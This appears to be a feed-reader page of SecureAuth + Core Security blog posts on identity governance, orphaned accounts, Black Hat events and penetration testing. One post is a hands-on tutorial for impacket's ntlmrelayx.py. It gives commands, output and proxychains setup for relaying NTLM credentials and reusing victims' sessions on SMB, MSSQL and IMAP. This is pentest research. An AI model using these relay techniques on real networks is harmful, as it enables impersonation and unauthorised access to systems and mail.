Loading...

Follow Lastline Cyber Security Blog | Malware Research.. on Feedspot

Continue with Google
Continue with Facebook
or

Valid

These days it seems like there are security solutions for almost everything except, the one thing you can never fully secure - humans. But, while you can’t control everything they open or click on, you can control their access to your sensitive data.

However, with increasing numbers of staff (aka – humans), devices, partners, locations and more, it is becoming tougher than ever to keep users access secure. How can you ensure least privileged access for all of your users when there are too many things to keep track of? While challenges seemingly come from all directions, here are the three most common offenders:

  • Routine changes such as hiring, promotions, transfers or third-party contractors
  • Business changes such as reorganizations, the addition of new products, or new partnerships
  • Infrastructure changes such as mobility, cloud adaptation, system upgrades, or new application rollouts

In addition to stresses from these three changes, the number of government regulations that influence how business is conducted across many industries continues to rise. From healthcare to banking, the number of regulations can climb into the hundreds, making full compliance more difficult and complex than it has ever been. This increase in regulations along with the increase in complexity of access rights (such as increased applications, devices, etc.) means that organizations must make standardized and closely managed identity access a top priority. These policies are known as Identity Governance and Administration (IGA).

HOW DOES IGA COMBAT THE TOP 3 RISKS?

With an increasing number of computers and other devices and an increase in the ways in which users access resources, access rights and the monitoring and managing of complex user access rights becomes harder every day. The stresses and strains of access can come from all over but the most common offenders are:

  • Risk from routine changes – Faster, more accurate onboarding of new employees, contractors, and business partners by using roles, business-friendly user interfaces, and policy-driven approval workflows. These help to ensure least privileged access during day-to-day operations such as on/o­ boarding users and performing access reviews.
  • Risk from business changes – With roles based access control you can build out new roles faster and more accurately for employees impacted by business changes to prepare for a reorganization or merger or acquisition. It is also possible to easily view directly assigned and hidden access and quickly identify outlier access both before and following business changes such as a reorganization or M&A activity.
  • Risk from infrastructure changes – New application rollout? No problem. By adding in the new application using your IGA solution, you can quickly provision whole teams at once and get them started within minutes with the correct, least privileged, access required to be eff­ective from day one.

These are only a few examples of ways that IGA can support and enable the business as well as help ensure proper access based on your policies or on industry regulations to remain compliant.

For more information on how IGA can help you with compliance and more, download our new eBook “Doing Identity Access Right” today. 

3 most common access risks ebook social image.jpg
Identity and Access Management
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

 

Another year, another Black Hat Conference! This year, we’re excited to represent as one company: SecureAuth + Core Security. Our newly combined company is the first to truly enable Identity and Security together to leverage one another in powerful new ways. We’ll be discussing the idea of Identity Security Automation throughout Black Hat, and here’s where you can find us and learn more:

  • Hear us Speak
    • Session 1: Wednesday, Aug 8 at 4:45 pm (20min)
      • Speaker: Bobby Kuzma, Director of Impact Community Engagement at SecureAuth + Core Security
      • Topic: Effective Identity Security Testing with Minimum Stress
      • Location: Innovation Zone
    • Session 2: Thursday, Aug 9 at 10:25 pm (20min)
      • Speaker:  Bruce Jackson, President and Managing Director, Air Informatics LLC
      • Topic: Cyber Security for e-Enabled Aviation and Critical Infrastructure – The Aircraft, Airlines, and Airports
      • Location: Innovation Zone 
  • Come Chill in our Impact Lounge
    • On Wednesday and Thursday, we invite you to join us our Impact Lounge. The lounge features a comfortable place to relax and unwind while being stocked with food and beverages throughout both days. If you want a deeper dive on any of our products, simply email events@secureauth.com and we’ll get you set up with the right person on-site.
      • Location: Banyan B (3rd floor of the conference center at Mandalay Bay)
      • Date/Time: Wednesday 8/8 and Thursday 8/9 from 8am-6pm
    • Pentesters unite! Our Core Impact tool will be the main feature of the Impact Lounge. Backed by 15+ years of leading-edge security research and commercial-grade development, Core Impact allows you to evaluate your security posture using the same techniques employed by today’s cyber-criminals. Ready to learn more? Schedule some time with us in the lounge by emailing events@secureauth.com
  • Get Excited Pre-Event at our Day Zero Lounge:
    • SecureAuth + Core Security is the exclusive sponsor of the Day Zero lounge. The Day Zero lounge features an afternoon designed for attendees seeking a well-rounded synopsis of Black Hat USA and an understanding of the tools and resources available to make the most of the event. Stay until the end and have your chance at winning a $1,000 VISA gift card on us!
      • Location: Black Hat Boulevard
      • Date/Time: Tuesday, 8/7 from 4pm-6pm​​

For any additional details on our whereabouts during BH, email events@secureauth.com

We look forward to seeing you in Las Vegas!

 

 

BH blog.png
Penetration testing
Attribute this content to a different author: 
SecureAuth + Core Security
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

These days it seems like there are security solutions for almost everything except, the one thing you can never fully secure - humans. But, while you can’t control everything they open or click on, you can control their access to your sensitive data.

However, with increasing numbers of staff (aka – humans), devices, partners, locations and more, it is becoming tougher than ever to keep users access secure. How can you ensure least privileged access for all of your users when there are too many things to keep track of? While challenges seemingly come from all directions, here are the three most common offenders:

  • Routine changes such as hiring, promotions, transfers or third-party contractors
  • Business changes such as reorganizations, the addition of new products, or new partnerships
  • Infrastructure changes such as mobility, cloud adaptation, system upgrades, or new application rollouts

In addition to stresses from these three changes, the number of government regulations that influence how business is conducted across many industries continues to rise. From healthcare to banking, the number of regulations can climb into the hundreds, making full compliance more difficult and complex than it has ever been. This increase in regulations along with the increase in complexity of access rights (such as increased applications, devices, etc.) means that organizations must make standardized and closely managed identity access a top priority. These policies are known as Identity Governance and Administration (IGA).

HOW DOES IGA COMBAT THE TOP 3 RISKS?

With an increasing number of computers and other devices and an increase in the ways in which users access resources, access rights and the monitoring and managing of complex user access rights becomes harder every day. The stresses and strains of access can come from all over but the most common offenders are:

  • Risk from routine changes – Faster, more accurate onboarding of new employees, contractors, and business partners by using roles, business-friendly user interfaces, and policy-driven approval workflows. These help to ensure least privileged access during day-to-day operations such as on/o­ boarding users and performing access reviews.
  • Risk from business changes – With roles based access control you can build out new roles faster and more accurately for employees impacted by business changes to prepare for a reorganization or merger or acquisition. It is also possible to easily view directly assigned and hidden access and quickly identify outlier access both before and following business changes such as a reorganization or M&A activity.
  • Risk from infrastructure changes – New application rollout? No problem. By adding in the new application using your IGA solution, you can quickly provision whole teams at once and get them started within minutes with the correct, least privileged, access required to be eff­ective from day one.

These are only a few examples of ways that IGA can support and enable the business as well as help ensure proper access based on your policies or on industry regulations to remain compliant.

For more information on how IGA can help you with compliance and more, check out our new eBook “Doing Identity Access Right” today. 

blog what are the 3 most common access risks.png
Identity and Access Management
Attribute this content to a different author: 
Darin Koff
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Identity Governance and Administration is a complex and growing, set of solutions that are put in place to help your organization stay compliant with government or industry regulations and, perhaps more importantly, help secure your organization.

However, with every new solution, there are a host of new problems. In working with our IGA customers we keep seeing certain problems emerge so, in this blog, we will address the top three struggles of an IGA solution that we see most often.

1. Managing Third-Party Contractors – It’s the Wild West when it comes to managing access rights for contractors. Employees are much easier to manage because they are managed through your HR team. You know when a user leaves so you know when to remove their access. However, with contractors, there is rarely a repository of users which makes it twice as difficult to manage their access. They leave and no one processes their termination or disables their accounts. This results in a lot of orphaned accounts which, as we learned last time, is a big security risk.

 

How do you solve this? Contractors and other third-party users rarely get put into your human resources solutions because they are not full-time employees. This can cause you to lose track of their access to your network. If you don’t have a record of them leaving the company, do you have a reminder to correctly de-provision them? You can solve this issue by putting them into your IGA solution instead. Not only will this solve the issue of visibility but it will also remind you, based on your governance rules, to re-certify them which will keep their access current and avoid the chance of orphaned accounts.

 

2. Length of Time for Access Reviews - Of course, you want to do more access reviews, the more you review the information the more chances you have to ensure that everyone has the least amount of privileged access. However, most organizations are only doing the required annual access review because of how time-consuming their current process is. The process includes getting data from system owners, splitting the data up into a spreadsheet for each reviewer, the reviewer goes through the spreadsheet making decisions, and then finally someone has to put all of the spreadsheets back together and put tickets in for the ones where the access should be removed. To further complicate things, you have managers who don’t have the time or energy for this step so they just approve everything. This rubberstamping process gives you inaccurate reviews leading to increased security gaps.

 

How do you solve this? Make things easier for your reviewers. In a previous blog, Security So Easy a Sales Guy Can Do It, we talk about this very topic. Lengthy spreadsheets and the growing number of entitlements only stretches the certification process and leads to certification fatigue and rubberstamping. Give your users the tools necessary to do their job correctly and more efficiently. Not only will you receive a lower number of inaccuracies because of the lack of rubberstamping but you will see these reports take less time so that you can conduct more access reviews and continue to enforce least privileged access.

 

3. Visibility into Access - Let’s face it, people don’t have an issue getting access, but losing it is another story.  Users that are with an organization for a very long time and change jobs over there employment never lose any of their previous access.  So, most of your tenured employees have way too much access.  To exacerbate the problem, most organizations rely on mirroring existing user’s access for new users.  Now the new user is way over privileged. How do you see these over privileged accounts? Or the orphaned, nested or hidden accounts?

 

How do you solve this? The traditional approach has you worrying if the roles you created were provisioned correctly in the first place. Or you have to search through spreadsheets and rely on managers, who don’t have security as their top goal, to reinforce certifications. Solving this issue is done through visual grouping. Having a system that allows automatic grouping of like entitlements. This will show you roles overlaid onto current access as well as show you outliers which fall outside of the role they are provisioned for. This will help you quickly pick out the users with the incorrect access and speed up de-provisioning them.

While these are only three problems, hopefully, you now have three less to solve for your organization. If you don’t have an IGA solution and are looking to start, let us help. Our Visual Identity Suite is the perfect way to get more visibility into your user’s access. Request a Demo or Watch a quick on-demand demo here

20180523_top3iga_Blog Image .jpg
Identity and Access Management
Attribute this content to a different author: 
Michael Lynch
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Since SecureAuth and Core Security merged in September 2017, the company has been dedicated to secure the enterprise across all principal threat vectors with an identity-based approach to the attack lifecycle. We identified six pillars of intelligent identity and security that represent our culture and guide our decisions: Prevention, detection, response, discovery, remediation, and challenge. Two of those were Discovery, a compulsion to continuously ask “what if?” and drive innovation for our customers, and Challenge to “always be improving”.

This week Core Access Insight (AI) was named as a leader in the KuppingerCole Leadership Compass for Access Governance and Intelligence. In addition, we’re proud to report the product was named as a leader in three categories – Product, Innovation, and Overall Leader for its secure and innovative solutions that are both modern and flexible to customer’s unique needs and infrastructure.

In the report – which is available from KuppingerCole here – Core AI was rated with the highest distinction in all five categories, Security, Functionality, Integration, Interoperability, and Usability.

“Overall, SecureAuth + Core Security has an innovative and business-friendly approach to access governance, offering a range of features.”

We pride ourselves in the way that we challenge the status quo and find new and innovative ways to eliminate business problems such as certification fatigue, user entitlements complexity, and efficient and effective provisioning capabilities. The report validates our drive to do more than satisfy governance requirements, with our modern and intuitive UI and simplify processes, ensuring more correct provisioning and certifications.

SecureAuth + Core Security is the only Identity Security Automation provider to integrate previously siloed disciplines; from vulnerability management, identity and access management, to identity governance and administration, and penetration testing. As a result, an exponentially faster and more holistic assessment of risk and analytics is achieved, which powers effective and efficient breach prevention, detection, and response.

 

Request a demo today

News & Events
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

During penetration testing exercises, the ability to make a victim connect to an attacker’s controlled host provides an interesting approach for compromising systems.

Such connections could be a consequence of tricking a victim into connecting to us (yes, we act as the attackers ;) ) by means of a Phishing email or, by means of different techniques with the goal of redirecting traffic (e.g. ARP Poisoning, IPv6 SLAAC, etc.). In both situations, the attacker will have a connection coming from the victim that he can play with. In particular, we will cover our implementation of an attack that involves using victims’ connections in a way that would allow the attacker to impersonate them against a target server of his choice - assuming the underlying authentication protocol used is NT LAN Manager (NTLM).

General NTLM Relay Concepts

The oldest implementation of this type of attack, previously called SMB Relay, goes back to 2001 by Sir Dystic of Cult of The Dead Cow- who only focused on SMB connections – although, he used nice tricks especially when launched from Windows machines where some ports are locked by the kernel.

I won’t go into details on how this attack works, since there is a lot of literature about it (e.g. here) and an endless number of implementations (e.g. here and here). However, it is important to highlight that this attack is not related to a specific application layer protocol (e.g. SMB) but is in fact an issue with the NT LAN Manager Authentication Protocol (defined here).

There are two flavors for this attack:

  1. Relay Credentials to the victim machine (a.k.a. Credential Reflection): In theory, fixed by Microsoft starting with MS08-068 and then extended to other protocols. There is an interesting thread here that attempts to cover this topic.
  2. Relay Credentials to a third-party host (a.k.a. Credential Relaying): Still widely used, with no specific patch available since this is basically an authentication protocol flaw. There are effective workarounds that could help against this issue (e.g. packet signing) only if the network protocol used supports it. There were, however, some attacks against this protection as well (e.g. CVE-2015-0005).

In a nutshell, we could abstract the attack to the NTLM protocol, regardless of the underlying application layer protocol used, as illustrated here (representing the second flavor described above):

ntlm1c.jpg

Over the years, there were some open source solutions that extended the original SMB attack to other protocols (a.k.a. cross-protocol relaying). A few years ago, Dirk-Jan Mollema extended the impacket’s original smbrelayx.py implementation into a tool that could target other protocols as well. We decided to call it ntlmrelayx.py and since then, new protocols to relay against have been added:

  1. SMB / SMB2
  2. LDAP
  3. MS-SQL
  4. IMAP/IMAPs
  5. HTTP/HTTPs
  6. SMTP

I won’t go into details on the specific attacks that can be done, since again, there are already excellent explanations out there (e.g. here and here ).

Something important to mention here is that the original use case for ntlmrelayx.py was basically a one-shot attack, meaning that whenever we could catch a connection, an action (or attack) would be triggered using the successfully relayed authentication data (e.g. create a user through LDAP, download a specific HTTP page, etc.). Nevertheless, amazing attacks were implemented as part of this approach (e.g. ACL privilege escalation as explained here). Also, initially, most of the attacks only worked for those credentials that had Administrative privileges, although over time we realized there were more possible use cases targeting regular users.

These two things, along with an excellent presentation at DEFCON 20 motivated me into extending the use cases into something different.

Value every session, use it, and reuse it at will

When you’re attacking networks, if you can intercept a connection or attract a victim to you, you really want to take full advantage of it, regardless of the privileges of that victim’s account. The higher the better of course, but you never know the attack paths to your objectives until you test different approaches.
With all this in mind, coupled with the awesome work done on ZackAttack , it was clear that there could be an extension to ntlmrelayx.py that would strive to:

  • Try to keep it open as long as possible once the authentication data is successfully relayed
  • Allow these sessions to be used multiple times (sometimes even concurrently)
  • Relay any account, regardless of its privilege at the target system
  • Relay to any possible protocol supporting NTLM and provide a way that would be easy to add new ones

Based on these assumptions I decided to re-architect ntlmrelayx.py to support these scenarios. The following diagram describes a high-level view of it:

nltm2f.jpg

We always start with a victim connecting to any of our Relay Servers which are servers that implement support for NTLM as the authentication mechanism. At the moment, we have two Relay Servers, one for HTTP/s and another one for SMB (v1 and v2+), although there could be more (e.g. RPC, LDAP, etc.). These servers know little about both the victim and target. The most important part of these servers is to implement a specific application layer protocol (in the context of a server) and engage the victim into the NTLM Authentication process. Once the victim took the bait, the Relay Servers look for a suitable Relay Protocol Client based on the protocol we want to relay credentials to at the target machines (e.g. MSSQL). Let’s say a victim connects to our HTTP Server Relay Server and we want to relay his credentials to the target’s MSSQL service (HTTP->MSSQL). For that to happen, there should be a MSSQL Relay Protocol Client that could establish the communication with the target and relay the credentials obtained by the Relay Server.

A Relay Protocol Client plugin knows how to talk a specific protocol (e.g. MSSQL), how to engage into an NTLM authentication using relayed credentials coming from a Relay Server and then keep the connection alive (more on that later). Once a relay attempt worked, each instance of these Protocol Clients will hold a valid session against the target impersonating the victim’s identity. We currently support Protocol Clients for HTTP/s, IMAP/s, LDAP/s, MSSQL, SMB (v1 and 2+) and SMTP, although there could be more! (e.g. POP3, Exchange WS, etc.). At this stage the workflow is twofold:

  1. If ntlmrelayx.py is running configured to run one-shot actions, the Relay Server will search for the corresponding Protocol Attack plugin that implements the static attacks offered by the tool.
  2. If ntlmrelayx.py is running configured with -socks, not action will be taken, and the authenticated sessions will be hold active, so it can later on be used and reused through a SOCKS proxy.
     
SOCKS Server and SOCKS Relay plugins

Let’s say we’re running in -socks mode and we have a bunch of victims that took the bait. In this case we should have a lot of sessions waiting to be used. The way we implemented the use of these involves two main actors:

  1. SOCKS Server: A SOCKS 4/5 Server that holds all the sessions and serves them to SOCKS clients. It also tries these sessions to be kept up even if not used. In order to do that, a keepAlive method on every session is called from time to time. This keepalive mechanism is bound to the particular protocol connection relayed (e.g. this is what we do for SMB ).
  2. SOCKS Relay Plugin: When a SOCKS client connects to the SOCKS Server, there are some tricks we will need to apply. Since we’re holding connections that are already established (sessions), we will need to trick the SOCKS client that an authentication is happening when, in fact, it’s not. The SOCKS server will also need to know not only the target server the SOCKS client wants to connect against but also the username, so it can verify whether or not there’s an active session for it. If so, then it will need to answer the SOCKS client back successfully (or not) and then tunnel the client thru the session's connection. Finally, whenever the SOCKS client closes the session (which we don’t really want to do since we want to keep these sessions active) we would need to fake those calls as well. Since all these tasks are protocol specific, we’ve created a plugins scheme that would let contributors add more protocols that would run through SOCKS (e.g. Exchange Web Services?). We’re currently supporting tunneling connections through SOCKS for SMB, MSSQL, SMTP, IMAP/S, HTTP/S.

With all this information being described, let’s get into some hands-on examples.

Examples in Action

The best way to understand all of this is through examples, so let’s get to playing with ntlmrelayx.py.
First thing you should do is install the latest impacket. I usually play with the dev version but if you want to stay on the safe side, we tagged a new version a few weeks ago.
Something important to have in mind (especially for Kali users), is that you have to be sure there is no previous impacket version installed since sometimes the new one will get installed at a different directory and the old one will still be loaded first (check this for help). Always be sure, whenever you run any of the examples that the version banner shown matches the latest version installed.

Once everything is installed, the first thing to do is to run ntlmrelayx.py specifying the targets (using the -t or -tf parameters) we want to attack. Targets are now specified in URI syntax, where:

  • Scheme: specifies the protocol to target (e.g. smb, mssql, all)
  • Authority: in the form of domain\username@host:port ( domain\username are optional and not used - yet)
  • Path: optional and only used for specific attacks (e.g. HTTP, when you need to specify a BASE URL)

For example, if we specify the target as mssql://10.1.2.10:6969, every time we get a victim connecting to our Relay Servers, ntlmrelayx.py will relay the authentication data to the MSSQL service (port 6969) at the target 10.1.2.10.

There’s a special case for all://10.1.2.10. If you specify that target, ntlmrelayx.py will expand that target based on the amount of Protocol Client Plugins available. As of today, that target will get expanded to ‘smb://’, ‘mssql://’, ‘http://’, ‘https://’, ‘imap://’, ‘imaps://’, ‘ldap://’, ‘ldaps://’ and ‘smtp://’, meaning that for every victim connecting to us, each credential will be relayed to those destinations (we will need a victim’s connection for each destination).

Finally, after specifying the targets, all we need is to add the -socks parameter and optionally -smb2support (so the SMB Relay Server adds support for SMB2+) and we’re ready to go:

# ./ntlmrelayx.py -tf /tmp/targets.txt -socks -smb2support
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

[*] Protocol Client SMTP loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Running in relay mode to hosts in targetfile
[*] SOCKS proxy started. Listening at port 1080
[*] IMAP Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] Setting up SMB Server
[*] Setting up HTTP Server

[*] Servers started, waiting for connections
Type help for list of commands
ntlmrelayx>

And then with the help of Responder, phishing emails sent or other tools, we wait for victims to connect.
Every time authentication data is successfully relayed, you will get a message like:

[*] Authenticating against smb://192.168.48.38 as VULNERABLE\normaluser3 SUCCEED
[*] SOCKS: Adding VULNERABLE/NORMALUSER3@192.168.48.38(445) to active SOCKS connection. Enjoy

At any moment, you can get a list of active sessions by typing socks at the ntlmrelayx.py prompt:

ntlmrelayx> socks
Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
SMB       192.168.48.38   VULNERABLE/NORMALUSER3    445
MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433
SMB       192.168.48.230  VULNERABLE/ADMINISTRATOR  445
SMB       192.168.48.230  CONTOSO/NORMALUSER1       445
SMTP      192.168.48.224  VULNERABLE/NORMALUSER3    25
SMTP      192.168.48.224  CONTOSO/NORMALUSER1       25
IMAP      192.168.48.224  CONTOSO/NORMALUSER1       143

As can be seen, there are multiple active sessions impersonating different users against different targets/services. These are some of the targets/services specified initially to ntlmrelayx.py using the -tf parameter.

In order to use them, for some use cases, we will be using proxychains as our tool to redirect applications through our SOCKS proxy. When using proxychains, be sure to configure it (configuration file located at /etc/proxychains.conf) pointing the host where ntlmrealyx.py is running; the SOCKS port is the default one (1080). You should have something like this in your configuration file:

[ProxyList]
socks4 	192.168.48.1 1080

Let’s start with the easiest example. Let’s use some SMB sessions with Samba’s smbclient. The list of available sessions for SMB are:

Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
SMB       192.168.48.38   VULNERABLE/NORMALUSER3    445
SMB       192.168.48.230  VULNERABLE/ADMINISTRATOR  445
SMB       192.168.48.230  CONTOSO/NORMALUSER1       445

Let’s say we want to use the CONTOSO/NORMALUSER1 session, we could do something like this:

root@kalibeto:~# proxychains smbclient //192.168.48.230/Users -U contoso/normaluser1
ProxyChains-3.1 (http://proxychains.sf.net)
WARNING: The "syslog" option is deprecated
|S-chain|-<>-192.168.48.1:1080-<><>-192.168.48.230:445-<><>-OK
Enter CONTOSO\normaluser1's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Thu Dec  7 19:07:54 2017
  ..                                 DR        0  Thu Dec  7 19:07:54 2017
  Default                           DHR        0  Tue Jul 14 03:08:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 00:59:33 2009
  normaluser1                         D        0  Wed Nov 29 14:14:50 2017
  Public                             DR        0  Tue Jul 14 00:59:33 2009

		5216767 blocks of size 4096. 609944 blocks available
smb: \>

A few important things here:

  • You need to specify the right domain and username pair that matches the output of the socks command. Otherwise, the session will not be recognized. For example, if you didn’t specify the domain name on the smbclient parameter, you would get an output error in ntmlrelayx.py saying:
    [-] SOCKS: No session for WORKGROUP/NORMALUSER1@192.168.48.230(445) available
  • When you’re asked for a password, just put whatever you want. As mentioned before, the SOCKS Relay Plugin that will handle the connection will fake the login process and then tunnel the original connection.

Just in case, using the Administrator’s session will give us a different type of access:

root@kalibeto:~# proxychains smbclient //192.168.48.230/c$ -U vulnerable/Administrator
ProxyChains-3.1 (http://proxychains.sf.net)
WARNING: The "syslog" option is deprecated
|S-chain|-<>-192.168.48.1:1080-<><>-192.168.48.230:445-<><>-OK
Enter VULNERABLE\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> dir
  $Recycle.Bin                      DHS        0  Thu Dec  7 19:08:00 2017
  Documents and Settings            DHS        0  Tue Jul 14 01:08:10 2009
  pagefile.sys                      AHS 1073741824  Thu May  3 16:32:43 2018
  PerfLogs                            D        0  Mon Jul 13 23:20:08 2009
  Program Files                      DR        0  Fri Dec  1 17:16:28 2017
  Program Files (x86)                DR        0  Fri Dec  1 17:03:57 2017
  ProgramData                        DH        0  Tue Feb 27 15:02:13 2018
  Recovery                          DHS        0  Wed Sep 30 18:00:31 2015
  System Volume Information         DHS        0  Wed Jun  6 12:24:46 2018
  tmp                                 D        0  Sun Mar 25 09:49:15 2018
  Users                              DR        0  Thu Dec  7 19:07:54 2017
  Windows                             D        0  Tue Feb 27 16:25:59 2018

		5216767 blocks of size 4096. 609996 blocks available
smb: \>

Now let’s play with MSSQL, we have the following active sessions:

ntlmrelayx> socks
Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
MSSQL     192.168.48.230  VULNERABLE/ADMINISTRATOR  1433
MSSQL     192.168.48.230  CONTOSO/NORMALUSER1       1433

impacket comes with a tiny TDS client we can use for this connection:

root@kalibeto:# proxychains ./mssqlclient.py contoso/normaluser1@192.168.48.230 -windows-auth
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies

Password:
|S-chain|-<>-192.168.48.1:1080-<><>-192.168.48.230:1433-<><>-OK
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(WIN7-A\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(WIN7-A\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (120 19136)
[!] Press help for extra shell commands
SQL> select @@servername


--------------------------------------------------------------------------------------------------------------------------------

WIN7-A\SQLEXPRESS
SQL>

I’ve tested other TDS clients as well successfully. As always, the most important thing is to specify correctly the domain/username information.

Another example that is very interesting to see in action is using IMAP/s sessions with Thunderbird’s native SOCKS proxy support. Based on this exercise, we have the following IMAP session active:

Protocol  Target          Username                  Port
--------  --------------  ------------------------  ----
IMAP      192.168.48.224  CONTOSO/NORMALUSER1       143

We need to configure an account in Thunderbird for this user. A few things to have in mind when doing so:

  • It is important to specify Authentication method ‘Normal Password’ since that’s the mechanism the IMAP/s SOCKS Relay Plugin currently supports. Keep in mind, as mentioned before, this will be a fake authentication.
    imagen3.png
  • Under Server Setting->Advanced you need to set the ‘Maximum number of server connections to cache’ to 1.
    imagen4.png

    This is very important otherwise Thunderbird will try to open several connections in parallel.
  • Finally, under the Network Setting you will need to point the SOCKS proxy to the host where ntlmrelayx.py is running, port 1080:
    imagen5.png
    ..
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

This column’s question comes from a SecureAuth+Core Security customer who heard about some of the technologies we offer and was unfamiliar with the term Orphaned Account.  

 “What exactly is an Orphaned Account, how do they happen, and why are they dangerous to security?”

 Well, first let’s talk about how we define an “account” in the first place.  At their simplest, accounts are simply identifiers for a user and all of the associated information that supports that identity.  For example, a corporate Active Directory account would include a username, first name, last name, password, phone number, email address, and possibly some other information like what groups they belong to so they can access files and applications.  A website account may have a username, password, and subscription information.  Each type of Identity Database can contain different info for its accounts, but they all have accounts - one for each user, and administrator that has to access data, services, or applications.

 Accounts used only by a service or application to access other services or applications - called service accounts - also exist.  They don’t have phone numbers or user information, but typically have a collection of permissions and restrictions to ensure they are only used for the applications and services they apply to.  Even though these accounts aren’t used by humans, they are still accounts and have to be watched over in the same way as user accounts would be.

 Normally, the accounts are actively in use by users - possibly not on a day-to-day basis, but often enough that each account is accessed often.  Over time, though, users leave companies, change websites, stop using email addresses, and take other actions that mean their accounts are no longer required to be maintained in the system.  Service accounts eventually fall out of use when the applications they work with are upgraded, changed, or removed.  For a short time, these accounts are typically held onto by the company or provider that they’re assigned to; just in case the user decides to use them again or the service/application is needed again.  After that time period, they should get deleted and that information removed from all the systems that the account is assigned to.

 When that last bit of the process (the removal - or “de-provisioning” as it’s called in the Identity Governance world) doesn’t happen, you end up with Orphaned Accounts.  The account still exists in one or more systems that used it, but the user or application no longer accesses that system or service and is no longer using the account themselves/itself.  When Orphaned Accounts are present, they pose several security risks:

 

  •  The account still maintains access to resources; like email mailboxes, application logins, and sensitive data.  That means the user could potentially regain access to that information and those services even though they should no longer be using them, or an application could continue to operate when it is supposed to be decommissioned.  Imagine an Office Manager for your doctor still having access to medical records well after they have left that job, and you can see why this is a major problem.
  • Let’s say the former user of the Orphaned Account is an honest and upstanding person, and they, therefore, do not illegitimately attempt to re-use it to access things they should not.  In this case, the Orphaned Account still exists; and therefore is just sitting there without its password getting updated or changes made to it as things change in the organization.  Bad actors can attempt to use this Orphaned Account to gain access to systems illegally by attempting to guess the password.  If the password is weak, and since no one is updating that password when strong password requirements are put into place, the Orphaned Account becomes a very easy target for attack.
  • Finally, anyone else who that Orphaned Account was shared with can still use it to access services and data they may never have supposed to have access to in the first place.  Credential sharing is depressingly common, and that means not only does the original owner of the Orphaned Account need to be considered, but anyone they shared those credentials with.  Service accounts also fall victim to this, as other applications which had been using that account erroneously or just due to misconfiguration could continue to use them to access resources they should not.

 

As you can see, Orphaned Accounts - the result of user and service accounts that are no longer used for whatever reason - are a major problem for IT security.  Think of them as luggage that is traveling through the airline system, but has no passenger attached to it.  Might just be misrouted bags, might be a bomb; either way we need to know which one of those things it is and address it immediately.  Finding them and removing their access is a critical link in the security chain, which means you may be asked what you need access to, and why, when your company audits their user accounts.  This isn’t to explicitly remove any access you have; but rather to make sure that any accounts you control are in active use, are following all the company protocols, and haven’t found themselves orphaned along the way.

Want to learn more about orphaned accounts,  access reviews, and other struggles that come with an IGA program? Join us Wednesday, June 20th at 11 AM ET/8 AM PT for our Live Webinar "How to Solve the Top 3 IGA Struggles". Register here and save your seat! 

 

 

20180612_blog_orphanedaccounts.jpg
Identity and Access Management
Attribute this content to a different author: 
Mike Talon | @miketalonNYC
Read Full Article
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

When conducting a penetration test, most testers will develop some type of process, and repeat that same process on every engagement. As I think through the basics of penetration testing, I believe that process can be broken up into six steps. They are:

 

  1. Information Gathering
  2. Attack and Penetration
  3. Local Information Gathering
  4. Escalate Privileges
  5. Clean Up
  6. Generate reports

Now, I’m not saying every tester follows every step or performs these steps in this exact order, however, this is a pretty good process to follow. Let’s take a closer look at each step.

 

Information Gathering

This is the step where most testers will spend a majority of their time. Any good pen-test involves some type of recon. The goal is to find out as much information as possible about your target. This could include gathering information about end-users or even gathering information about the network itself. The more information we have about the target, the more precise we can be when launching attacks.

 

Attack and Penetration

Now, this is where the fun begins! After we’ve found out all we can about the target, we can begin attacking the target. With tools like Core Impact, you can launch specific, targeted attacks, or even launch attacks you think that will be the most likely to succeed.

 

Local Information Gathering

After successfully compromising a target, you should have more permissions than at the start. This allows us to find additional information such as usernames and passwords, or perhaps a list of services or applications running on the target. Once we have this information, we can proceed to the next step.

 

Escalate Privileges

It’s possible when we compromised the target, we only gained user access. Now that we have some additional info from the Local Information gathering step, we can use that information to elevate our privileges to that of an administrator or a privileged user. If we’re able to gain additional access, we could then go back and perform information gathering again. With more privileges, we can probably get more data.

 

Clean Up

Once we’ve gathered all the data we can, the next step is to clean up. Core Impact makes this very simple by clicking on the cleanup step. Core Impact will then go out and remove any agents that were deployed while the workspace was up and running.

 

Generate Reports

Finally, the part that no one likes. But you can relax, we make it super simple. Here we will click on step number six, select the template we want to use, and click finish! And voila. Your report is created. You can now take this information and pass it on to the appropriate parties.

 

